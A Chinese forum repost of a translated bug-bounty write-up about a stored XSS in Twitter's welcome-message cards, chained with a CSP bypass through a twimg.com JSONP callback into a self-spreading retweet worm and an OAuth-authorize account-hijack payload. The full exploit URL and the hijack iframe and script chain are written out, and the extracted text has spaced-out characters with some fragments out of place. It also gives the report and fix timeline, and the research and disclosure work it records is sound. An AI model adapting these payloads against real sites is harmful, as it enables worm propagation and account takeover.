搜索

[14133] 2019-05-21_从Twitter的XSS漏洞构造出TwitterXSSWorm

文档创建者：s7ckTeam
浏览次数：28
最后更新：2025-01-18
2019-05-21_从Twitter的XSS漏洞构造出TwitterXSSWorm 从 T w i t t e r 的 X S S 漏 洞 构 造 出 T w i t t e r   X S S   W o r m c l o u d s   F r e e B u f   2 0 1 9 - 0 5 - 2 1 2 0 1 8 年 年 中 ， 当 时 我 发 现 了 一 个 年 年 中 ， 当 时 我 发 现 了 一 个 T w i t t e r 的 存 储 型 的 存 储 型 X S S 漏 洞 ， 该 漏 洞 位 于 漏 洞 ， 该 漏 洞 位 于 T w i t t e r 的 犄 角 旮 旯 之 处 ， 一 般 人 很 难 发 现 。 重 点 在 于 ， 后 来 我 又 发 现 ， 这 个 存 储 型 的 犄 角 旮 旯 之 处 ， 一 般 人 很 难 发 现 。 重 点 在 于 ， 后 来 我 又 发 现 ， 这 个 存 储 型 X S S 漏 洞 可 以 被 进 一 步 构 造 形 漏 洞 可 以 被 进 一 步 构 造 形 成 一 个 稳 定 的 成 一 个 稳 定 的 X S S   w o r m ！ ！ X S S   W o r m 介 绍 介 绍 X S S   W o r m （ X S S 蠕 虫 ） 是 X S S 漏 洞 利 用 的 终 极 武 器 ， 也 就 是 把 X S S 漏 洞 打 造 成 蠕 虫 来 进 行 广 泛 传 播 感 染 ， 安 全 威 胁 轻 则 为 “ 恶 作 剧 ” ， 重 则 为 窃 取 用 户 数 据 或 瘫 痪 网 络 应 用 。 早 有 2 0 0 5 年 的 M y s p a c e 蠕 虫 ， 1 9 岁 少 年 制 作 的 X S S   w o r m 在 短 短 几 小 时 之 内 就 通 过 M y s p a c e 空 间 感 染 了 1 0 0 万 用 户 ； 还 有 2 0 0 7 年 的 百 度 空 间 蠕 虫 ， 至 百 度 进 行 屏 蔽 防 护 时 ， 这 个 X S S   w o r m 已 经 感 染 了 8 7 0 0 多 个 博 客 空 间 。 X S S   w o r m 对 社 交 网 站 和 大 型 社 区 论 坛 危 害 性 极 大 。 更 多 信 息 请 参 考 w i k i p e d i a 。 开 门 见 山 上 开 门 见 山 上 X S S   W o r m   P a y l o a d X S S   W o r m   P a y l o a d 开 门 见 山 ， 一 来 就 上 该 T w i t t e r   X S S   w o r m 的 漏 洞 利 用 U R L 链 接 （ e x p l o i t ） 吧 ， 稍 后 我 们 再 详 解 其 中 的 特 别 之 处 。 在 该 X S S 漏 洞 修 复 之 前 ， 通 过 T w i t t e r 发 布 以 下 U R L 链 接 就 会 创 建 出 一 个 X S S   w o r m 来 ， 它 可 以 在 推 特 圈 内 从 一 个 账 户 中 传 播 到 另 一 个 账 户 。 该 漏 洞 利 用 U R L （ e x p l o i t ） 如 下 ： h t t p s : / / t w i t t e r . c o m / m e s s a g e s / c o m p o s e ? r e c i p i e n t _ i d = 9 8 8 2 6 0 4 7 6 6 5 9 4 0 4 8 0 1 & w e l c o m e _ m e s s a g e _ i d = 9 8 8 2 7 4 5 9 6 4 2 7 3 0 4 9 6 4 & t e x t = % 3 C % 3 C x % 3 E / s c r i p t % 3 E % 3 C % 3 C x % 3 E i f r a m e % 2 0 i d % 3 D _ _ t w t t r % 2 0 s r c % 3 D / i n t e n t / r e t w e e t % 3 F t w e e t _ i d % 3 D 1 1 1 4 9 8 6 9 8 8 1 2 8 6 2 4 6 4 0 % 3 E % 3 C % 3 C x % 3 E / i f r a m e % 3 E % 3 C % 3 C x % 3 E s c r i p t % 2 0 s r c % 3 D / / s y n d i c a t i o n . t w i m g . c o m / t i m e l i n e / p r o f i l e % 3 F c a l l b a c k % 3 D _ _ t w t t r / a l e r t % 3 B u s e r _ i d % 3 D 1 2 % 3 E % 3 C % 3 C x % 3 E / s c r i p t % 3 E % 3 C % 3 C x % 3 E s c r i p t % 2 0 s r c % 3 D / / s y n d i c a t i o n . t w i m g . c o m / t i m e l i n e / p r o f i l e % 3 F c a l l b a c k % 3 D _ _ t w t t r / f r a m e s % 5 B 0 % 5 D . r e t w e e t _ b t n _ f o r m . s u b m i t % 3 B u s e r _ i d % 3 D 1 2 % 3 E 经 u r l d e c o d e 转 换 之 后 的 U R L 链 接 如 下 ： h t t p s : / / t w i t t e r . c o m / m e s s a g e s / c o m p o s e ? r e c i p i e n t _ i d = 9 8 8 2 6 0 4 7 6 6 5 9 4 0 4 8 0 1 & w e l c o m e _ m e s s a g e _ i d = 9 8 8 2 7 4 5 9 6 4 2 7 3 0 4 9 6 4 & t e x t = < / s c r i p t > < i f r a m e   i d = _ _ t w t t r   s r c = / i n t e n t / r e t w e e t ? t w e e t _ i d = 1 1 1 4 9 8 6 9 8 8 1 2 8 6 2 4 6 4 0 > < / i f r a m e > < s c r i p t   s r c = / / s y n d i c a t i o n . t w i m g . c o m / t i m e l i n e / p r o f i l e ? c a l l b a c k = _ _ t w t t r / a l e r t ; u s e r _ i d = 1 2 > < / s c r i p t > < s c r i p t s r c = / / s y n d i c a t i o n . t w i m g . c o m / t i m e l i n e / p r o f i l e ? c a l l b a c k = _ _ t w t t r / f r a m e s [ 0 ] . r e t w e e t _ b t n _ f o r m . s u b m i t ; u s e r _ i d = 1 2 > 在 T w i t t e r 中 打 开 效 果 如 下 ： 可 能 你 会 好 奇 ， “ 怎 么 可 能 ？ ， 它 就 是 一 个 简 单 的 U R L 链 接 啊 ！ ？ ” ， 但 是 ， 请 相 信 它 并 不 是 一 个 普 通 的 U R L 链 接 。 它 是 一 个 W e l c o m e   M e s s a g e （ 欢 迎 消 息 ） 的 d e e p l i n k ， 且 通 过 T w i t t e r   C a r d 进 行 加 载 呈 现 （ 在 T w i t t e r 中 点 击 链 接 加 载 ） ， 如 下 ： 相 关 知 识 点 相 关 知 识 点 W e l c o m e   M e s s a g e （ 欢 迎 消 息 ） （ 欢 迎 消 息 ） ： 自 动 弹 出 的 消 息 ， 类 似 于 关 注 别 人 微 信 微 博 后 ， 别 人 私 信 窗 口 自 动 弹 出 的 欢 迎 消 息 。 h t t p s : / / d e v e l o p e r . t w i t t e r . c o m / e n / d o c s / d i r e c t - m e s s a g e s / w e l c o m e - m e s s a g e s / o v e r v i e w
D e e p l i n k ： 多 用 于 移 动 智 能 终 端 ， 字 面 意 思 “ 深 度 链 接 ” ， 但 实 际 并 非 如 此 ， 实 际 意 图 是 ， 可 以 通 过 一 个 简 单 的 U R L 链 接 ， 打 开 A P P 并 直 接 进 入 该 A P P 中 的 内 文 页 ， 前 提 是 该 A P P 在 该 手 机 上 已 安 装 ， 且 该 A P P 需 要 编 程 支 持 该 d e e p l i n k 相 关 的 语 法 定 义 。 比 如 可 复 制 一 些 淘 宝 商 品 及 淘 宝 店 铺 页 的 d e e p l i n k 链 接 ， 发 送 给 其 他 人 ， 他 点 击 链 接 后 ， 可 以 通 过 手 机 中 安 装 的 淘 宝 A P P 直 接 进 入 具 体 的 商 品 页 及 店 铺 页 。 T w i t t e r   C a r d ： 就 是 在 你 的 推 文 上 加 上 一 段 代 码 链 接 ， 通 过 这 种 方 式 展 示 出 更 多 信 息 ， 类 似 于 P i n t e r e s t 中 的 r i c h   p i n 。 目 前 T w i t t e r   C a r d 支 持 S u m m a r y   C a r d ， S u m m a r y   C a r d   w i t h   L a r g e I m a g e ， p h o t o   c a r d ， G a l l e r y   C a r d ， A P P   C a r d ， P l a y e r   C a r d ， P l a y   C a r d :   a p p r o v e   g u i d e ， P r o d u c t   C a r d   8 种 方 式 的 展 示 链 接 。 好 了 ， 那 么 我 是 如 何 发 现 这 个 X S S   W o r m 的 呢 ？ 我 们 从 一 开 始 发 现 的 X S S 漏 洞 说 来 。 发 现 初 步 的 发 现 初 步 的 X S S 漏 洞 漏 洞 上 述 的 T w i t t c e   C a r d 其 实 是 一 个 i f r a m e 元 素 ， 它 的 展 示 指 向 链 接 为   " h t t p s : / / t w i t t e r . c o m / i / c a r d s / t f w / v 1 / 1 1 1 4 9 9 1 5 7 8 3 5 3 9 3 0 2 4 0 "   。 该 i f r a m e 很 明 显 是 基 于 同 源 策 略 （ s a m e - o r i g i n ） 而 不 是 沙 盒 ， 这 意 味 着 我 们 可 以 基 于 D O M 同 源 策 略 访 问 同 源 网 站 下 的 父 级 页 面 。 在 我 们 一 开 始 构 造 的 漏 洞 利 用 U R L 链 接 中 ， 把 P a y l o a d 作 为 参 数 " t e x t " 的 值 ， 如 下 ： 在 加 载 呈 现 漏 洞 利 用 U R L 的 T w i t t c e   C a r d 中 ， 通 过 查 看 其 中 的 展 示 指 向 链 接 网 页 源 码 可 知 ， 这 个 " t e x t " 参 数 反 映 在 了 一 个 内 联 J S O N 对 象 中 ， 并 赋 值 给 了 " d e f a u l t _ c o m p o s e r _ t e x t " 键 值 。 如 下 ： 请 注 意 ， H T M L 解 析 机 制 发 现 在 起 始 的 闭 合 标 签 ， 无 论 是 在 字 符 串 或 评 论 或 正 则 表 达 式 中 ， 那 么 ， 这 种 s c r i p t 脚 本 范 围 都 会 到 此 终 止 。 在 此 之 前 ， 基 于 T w i t t e r 的 安 全 防 护 环 境 、 W A F 部 署 和 W e b 应 用 过 滤 规 则 ， 我 们 可 能 会 遇 到 以 下 限 制 或 障 碍 因 素 ： 1 、 目 标 系 统 把 单 引 号 和 双 引 号 分 别 转 义 为     和   ； 2 、 H T M L 的 某 些 敏 感 标 签 被 直 接 过 滤 掉 ， 如     直 接 被 过 滤 为 了 ； 3 、 或 者 是 P a y l o a d 长 度 被 限 制 在 3 0 0 个 字 符 内 ； 4 、 存 在 内 容 安 全 策 略 C S P ， 通 过 白 名 单 方 式 来 限 制 某 些 内 联 脚 本 （ I n l i n e   S c r i p t s ） 。 起 初 来 看 ， 这 些 防 护 策 略 看 似 合 理 ， 但 当 我 检 查 H T M L 标 签 的 剥 离 动 作 时 ， 我 隐 约 觉 得 有 些 问 题 。 由 于 这 种 剥 离 （ 去 除 ） 字 符 串 中 H T M L 标 签 的 操 作 不 像 转 义 单 独 的 字 符 ， 它 需 要 用 到 H T M L 解 析 ， H T M L 解 析 又 经 常 会 出 错 （ 象 正 则 表 达 式 之 类 的 ） ， 所 以 在 此 ， 这 种 H T M L 标 签 剥 离 操 作 可 以 深 入 研 究 分 析 一 下 。 于 是 ， 我 立 马 动 手 构 造 了 一 个 非 常 基 本 的 P a y l o a d ： 之 后 又 构 造 了 这 个 之 后 又 构 造 了 这 个 P a y l o a d ： ： 这 个 P a y l o a d 经 T w i t t e r 的 H T M L 标 签 剥 离 操 作 后 ， 变 成 了   啊 哦 ， 到 了 这 一 步 ， 这 个 也 算 是 个 X S S 漏 洞 了 ， 在 未 继 续 深 挖 找 到 C S P 绕 过 方 法 前 ， 心 急 的 我 就 向 T w i t t e r 安 全 团 队 上 报 了 。 T w i t t e r 的 的 C S P 策 略 绕 过 策 略 绕 过 上 报 了 这 个 X S S 漏 洞 之 后 ， 我 又 继 续 研 究 T w i t t e r 的 内 容 安 全 策 略 （ C S P ） ， 这 种 网 站 的 C S P 可 以 通 过 抓 包 和 工 具 检 测 出 来 。 有 意 思 的 是 ， T w i t t e r 并 没 有 在 所 有 应 用 服 务 中 部 署 全 局 C S P 策 略 ， 也 就 是 说 ， 一 些 应 用 服 务 有 着 不 一 样 的 C S P 策 略 。 T w i t t e r 站 点 （ h t t p s : / / t w i t t e r . c o m / ） 的 完 整 C S P 策 略 如 下 ： 而 T w i t t e r   C a r d s 的 C S P 又 是 和 以 上 完 整 的 C S P 不 一 样 ， 我 们 在 此 只 挑 出 T w i t t e r   C a r d s   C S P 中 的 s c r i p t - s r c 部 分 来 看 ， 如 下 ： 以 上 策 略 对 于 老 手 来 说 ， h t t p s : / / * . t w i m g . c o m 这 种 通 配 符 限 制 相 对 宽 松 ， 可 能 存 在 被 攻 击 的 风 险 点 。 所 以 ， 针 对 C S P 策 略 绕 过 ， 结 合 上 述 T w i t t e r   C a r d s 的 J S O N 对 象 ， 我 们 现 在 需 要 找 到 一 个 位 于 t w i m g . c o m 子 域 名 下 的 J S O N 路 径 端 点 。 其 实 也 不 难 发 现 ， 这 就 是 一 个 ： 这 里 现 在 的 难 点 是 ， 需 要 绕 过 回 调 验 证 （ c a l l b a c k   v a l i d a t i o n ） ， 不 能 任 意 指 定 其 它 回 调 ， 它 只 能 以 前 缀 开 始 ， 否 则 就 会 被 T w i t t e r 阻 拦 。 当 然 ， 这 也 就 是 说 ， 你 不 能 用 如   ' a l e r t '   这 样 的 内 置 方 法 ， 可 以 用 ， 但 可 能 会 被 解 析 认 为 。 针 对 这 个 方 法 ， 之 后 我 就 对 T w i t t e r 的 过 滤 策 略 做 了 一 些 测 试 ， 看 看 它 会 过 滤 和 放 行 哪 些 字 符 。 一 测 我 便 发 现 ， 正 斜 杠   ' / ' 竟 然 在 “ c a l l b a c k ”   参 数 中 是 可 行 的 ， 也 就 是 说 类 似   “ ? c a l l b a c k = _ _ t w t t r / a l e r t ”   这 样 是 可 以 的 ， 而 且 这 种 构 造 下 的 请 求 会 收 到 以 下 形 式 的 响 应 ： 所 以 现 在 我 们 只 需 找 到 一 种 方 法 ， 那 就 是 在 ' w i n d o w ' 对 象 （ 浏 览 器 打 开 窗 口 ） 上 定 义 引 用 ， 这 里 有 两 种 方 法 来 实 现 ： 1 、 找 到 一 种 符 合 白 名 单 且 定 义 了     变 量 的 脚 本 ， 把 它 包 装 到 我 们 的 P a y l o a d 中 ； 2 、 将 H T M L 元 素 的 I D 属 性 设 置 为 ， 这 样 一 来 ， 它 就 能 为 ' w i n d o w ' 对 象 中 的 元 素 创 建 一 个 全 局 引 用 。 在 此 ， 我 选 择 第 2 种 方 法 。 如 果 做 够 这 些 ， 目 前 来 看 ， 应 该 没 什 么 大 问 题 。 虽 然 我 们 不 能 在 回 调 参 数 中 注 入 任 意 字 符 ， 也 就 是 说 ， 会 在 J a v a S c r i p t 语 法 上 受 到 的 限 制 较 多 。 但 请 注 意 ， “ ? t e x t = < < x > / s c r i p t > < < x > i f r a m e   i d = _ _ t w t t r   s r c = / i n t e n t / r e t w e e t ? t w e e t _ i d = 1 1 1 4 9 8 6 9 8 8 1 2 8 6 2 4 6 4 0 > < < x > / i f r a m e > < < x > s c r i p t   s r c = / / s y n d i c a t i o n . t w i m g . c o m / t i m e l i n e / p r o f i l e ? c a l l b a c k = _ _ t w t t r / a l e r t ; u s e r _ i d = < s c r i p t   t y p e = " t e x t / t w i t t e r - c a r d s - s e r i a l i z a t i o n " >     {         " s t r i n g s " :   {   } ,         " c a r d " :   {     " v i e w e r _ i d "   :   " 9 8 8 2 6 0 4 7 6 6 5 9 4 0 4 8 0 1 " ,     " i s _ c a p s _ e n a b l e d "   :   t r u e ,     " f o r w a r d "   :   " f a l s e " ,     " i s _ l o g g e d _ i n " ’ ” a < / s c r i p t > b a b < / s c r i p t > < s v g   o n l o a d = a l e r t ( ) > < < / < x > / s c r i p t / t e s t 0 0 0 > < < / < x > s v g   o n l o a d = a l e r t ( ) > < / > < s c r i p t > 1 < x > 2 < / s c r i p t / t e s t 0 0 0 > < s v g   o n l o a d = a l e r t ( ) > s c r i p t - s r c   ' n o n c e - E T j 4 1 i m z I Q / a B r j F c b y n C g = = '   h t t p s : / / t w i t t e r . c o m   h t t p s : / / * . t w i m g . c o m   h t t p s : / / t o n . t w i t t e r . c o m   ' s e l f ' ;   f r a m e - a n c e s t o r s   h t t p s : / / m s 2 . t w i t t e r . c o m   h t t p s : / / t w i t t e r . c o m   h t t p : / / l o c a l h o s t : _ _ t w t t r _ _ t w t t r a l e r t u n d e f i n e d / * * / _ _ t w t t r / a l e r t ( { " h e a d e r s " : { " s t a t u s " : 2 0 0 , " m a x P o s i t i o n " : " 1 1 1 3 3 0 0 8 3 7 1 6 0 2 2 2 7 2 0 " , " m i n P o s i t i o n " : " 1 0 9 8 7 6 1 2 5 7 6 0 6 3 0 7 8 4 0 " , " x P o l l i n g " : 3 0 , " t i m e " : 1 5 5 4 6 6 8 0 5 6 } , " b o d y " : " [ . . . ] " } ) ; _ _ t w t t r _ _ t w t t r _ _ t w t t r
c a l l b a c k = _ _ t w t t r / a l e r t ; u s e r _ i d = 1 2 ” 中 的 分 号 并 不 是 回 调 参 数 中 的 一 部 分 ， 它 只 是 查 询 分 隔 符 ， 类 似 于 & 。 但 这 并 不 是 问 题 ， 我 们 仍 然 可 以 构 造 来 调 用 一 些 我 们 想 要 的 函 数 ， 就 比 如 S a m e   O r i g i n M e t h o d   E x e c u t i o n 攻 击 。 总 结 来 看 ， 我 们 构 造 的 完 整 P a y l o a d 作 用 如 下 ： 1 、 创 建 一 个 有 具 备 I D 属 性 为 _ _ t w t t r 的 i f r a m e 元 素 ，   这 个 元 素 通 过 T w i t t e r   W e b   I n t e n t s 链 接 方 式 指 向 一 条 特 定 推 文 ， 这 里 我 们 用 h t t p s : / / t w i t t e r . c o m / i n t e n t / r e t w e e t ? t w e e t _ i d = 1 1 1 4 9 8 6 9 8 8 1 2 8 6 2 4 6 4 0 ； 2 、 绕 过 C S P 策 略 调 用 一 个 同 步 方 法 函 数 ， 如 ， 去 推 迟 下 一 个 脚 本 块 的 执 行 ， 直 到 上 面 的 i f r a m e 元 素 完 全 加 载 执 行 。 当 然 了 ， 由 于 语 法 限 制 ， 这 个 同 步 方 法 函 数 不 会 具 体 地 显 示 出 来 ， 另 外 ， 我 们 也 不 能 简 单 地 使 用 ； 3 、 再 次 利 用 C S P 策 略 绕 过 ， 通 过 提 交 i f r a m e 元 素 中 的 表 单 （ f o r m ） ， 去 触 发 对 某 条 特 定 推 文 的 转 推 操 作 。 构 造 构 造 X S S   w o r m 作 为 一 个 X S S   w o r m 来 说 ， 能 进 行 自 我 转 发 是 比 较 理 想 的 。 而 且 如 果 没 有 语 法 限 制 ， 构 造 X S S   w o r m 传 播 就 相 对 简 单 。 但 现 在 我 们 只 能 依 靠 T w i t t e r   W e b   I n t e n t s 方 式 来 进 行 转 推 ， 这 种 方 式 下 ， 需 要 在 转 推 操 作 之 前 就 要 明 确 t w e e t   I D ， 比 较 难 的 就 是 ，   t w e e t   I D s 并 不 是 连 续 的 ， 难 以 预 测 。 所 以 ， 这 里 就 卡 住 了 。 但 是 ， 我 分 析 了 一 个 ， 还 有 另 外 两 种 相 对 容 易 的 方 法 来 创 建 X S S   W o r m 的 传 播 态 势 ： 1 、 “ 武 器 化 ” 构 造 一 系 列 推 文 链 ， 每 条 推 文 中 都 包 含 对 前 一 条 推 文 的 转 发 P a y l o a d ， 这 样 ， 只 要 你 点 击 或 转 发 到 其 中 的 一 条 推 文 ， 都 将 造 成 对 整 个 推 文 链 的 不 断 转 发 操 作 ， 导 致 攻 击 链 中 活 跃 的 T w i t t e r 账 户 都 会 执 行 这 种 操 作 ， 形 成 传 播 感 染 ； 2 、 在 转 发 推 文 中 加 入 一 些 X S S   P a y l o a d ， 也 会 造 成 更 大 范 围 的 影 响 。 当 然 了 ， 可 以 把 以 上 两 种 方 法 进 行 综 合 利 用 来 进 行 传 播 感 染 ， 影 响 就 能 无 限 大 了 。 好 在 这 里 ， 作 为 测 试 分 析 ， 我 们 最 终 构 造 的 e x p l o i t 中 ， 当 “ h t t p s : / / t w i t t e r . c o m / i n t e n t / r e t w e e t ? t w e e t _ i d = 1 1 1 4 9 8 6 9 8 8 1 2 8 6 2 4 6 4 0 ” 页 面 被 受 害 者 转 发 后 ， ' f r a m e s [ 0 ] . r e t w e e t _ b t n _ f o r m . s u b m i t '   方 法 对 应 的 随 后 操 作 不 是 继 续 转 发 。 这 里 ， 第 一 次 转 发 这 条 e x p l o i t 推 文 后 ， 它 会 立 马 把 它 的 内 容 展 现 在 你 的 T w i t t e r 主 页 中 ， 之 后 ， 再 次 查 看 这 条 推 文 后 ， 它 会 让 你 去 关 注 攻 击 者 的 T w i t t e r 账 户 。 深 入 构 造 利 用 深 入 构 造 利 用   -     利 用 利 用 X S S   W o r m 劫 持 劫 持 T w i t t e r 用 户 用 户 X S S   W o r m 除 了 传 播 感 染 ， 恶 作 剧 之 外 ， 还 有 瘫 痪 网 络 应 用 或 窃 取 用 户 信 息 的 可 能 。 所 以 ， 在 此 ， 我 们 基 于 这 个 X S S   W o r m ， 可 以 在 其 中 加 入 一 些 恶 意 功 能 ， 比 如 可 以 通 过 强 制 T w i t t e r 用 户 对 某 些 第 三 方 恶 意 应 用 进 行 授 权 ， 以 此 隐 蔽 窃 取 受 害 者 身 份 令 牌 ， 且 能 在 T w i t t e r 的 验 证 机 制 “ o a u t h / a u t h o r i z e ”   中 获 得 完 整 账 户 权 限 ， 实 现 T w i t t e r 账 户 劫 持 。 为 了 实 现 这 一 点 ， 攻 击 者 可 以 在 某 个 i f r a m e 元 素 中 加 载   “ h t t p s : / / t w i t t e r . c o m / o a u t h / a u t h o r i z e ? o a u t h _ t o k e n = [ t o k e n ] ”   链 接 ， 自 动 提 交 该 链 接 页 面 中 的 验 证 表 单 （ 其 中 包 含 如   的 I D 属 性 ） ， 就 能 在 随 后 的 身 份 窃 取 中 起 到 作 用 。 最 终 ， 基 于 上 述 一 大 堆 的 传 播 功 能 构 造 ， 加 入 这 种 带 有 身 份 窃 取 功 能 的 隐 蔽 X S S   W o r m 分 阶 段 运 行 如 下 ： 1 、 发 送 带 有 下 面 这 个 P a y l o a d 的 推 文 并 获 取 其 推 文 I D ： 2 、 发 送 另 一 条 推 文 并 获 取 其 推 文 I D ： 3 、 发 送 第 三 条 推 文 作 为 身 份 窃 取 劫 持 的 P a y l o a d ， 这 条 推 文 综 合 了 第 一 二 条 推 文 ， 并 应 用 到 了 同 一 个 页 面 链 接 中 ： 一 旦 T w i t t e r 受 害 者 打 开 加 载 第 三 条 推 文 后 ， 攻 击 者 控 制 的 第 三 方 恶 意 应 用 就 能 获 取 受 害 者 的 T w i t t e r 身 份 信 息 ， 实 现 账 户 劫 持 。 要 注 意 的 是 ， " o a u t h _ t o k e n " 只 能 被 进 行 一 次 身 份 验 证 ， 且 其 有 效 期 非 常 短 。 但 对 一 些 不 懈 的 攻 击 者 来 说 ， 只 要 发 送 大 量 推 文 ， 就 能 劫 持 到 很 多 用 户 权 限 。 最 为 重 要 的 是 ， 攻 击 者 还 可 以 利 用 改 造 X S S   W o r m ， 强 迫 用 户 在 T w i t t e r 上 加 载 任 意 页 面 ， 点 击 任 意 按 钮 ， 提 交 任 意 表 单 等 等 恶 意 行 为 。 漏 洞 上 报 进 程 漏 洞 上 报 进 程 2 0 1 8 . 4 . 2 3       绕 过 过 滤 措 施 的 X S S 漏 洞 初 报 2 0 1 8 . 4 . 2 5       漏 洞 分 类 处 理 2 0 1 8 . 4 . 2 7       T w i t t e r 给 出 $ 2 , 9 4 0 的 奖 励 2 0 1 8 . 5 . 4           X S S 漏 洞 修 复 2 0 1 9 . 4 . 7           我 上 报 了 C S P 绕 过 漏 洞 2 0 1 9 . 4 . 1 2         考 虑 到 X S S   W o r m 的 严 重 性 ， 我 直 接 给 T w i t t e r 工 程 师 发 了 w r i t e - u p 专 报 2 0 1 9 . 4 . 1 2         T w i t t e r 要 求 我 待 修 复 后 再 公 开 漏 洞 2 0 1 9 . 4 . 2 2       T w i t t e r 修 复 了 C S P 绕 过 漏 洞 并 同 意 我 进 行 漏 洞 公 开 2 0 1 9 . 5 . 2           我 对 漏 洞 进 行 了 公 开 * 参 考 来 源 ： v i r t u e s e c u r i t y ， c l o u d s 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 精 彩 推 荐 精 彩 推 荐 a l e r t a l e r t s e t T i m e o u t ( f u n c ) o a u t h _ f o r m < / s c r i p t > < i f r a m e   s r c = / o a u t h / a u t h o r i z e ? o a u t h _ t o k e n = c X D z j w A A A A A A 4 _ E b A A A B a i z u C O k > < / i f r a m e > < / s c r i p t > < s c r i p t   i d = _ _ t w t t r   s r c = / / s y n d i c a t i o n . t w i m g . c o m / t w e e t s . j s o n ? c a l l b a c k = _ _ t w t t r / p a r e n t . f r a m e s [ 0 ] . o a u t h _ f o r m . s u b m i t ; i d s = 2 0 > < / s c r i p t > < / s c r i p t > < i f r a m e   s r c = / i / c a r d s / t f w / v 1 / 1 1 1 8 6 0 8 4 5 2 1 3 6 4 6 0 2 8 8 > < / i f r a m e > < i f r a m e   s r c = / i / c a r d s / t f w / v 1 / 1 1 1 8 6 0 9 4 9 6 5 6 0 0 2 9 6 9 6 > < / i f r a m e >
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理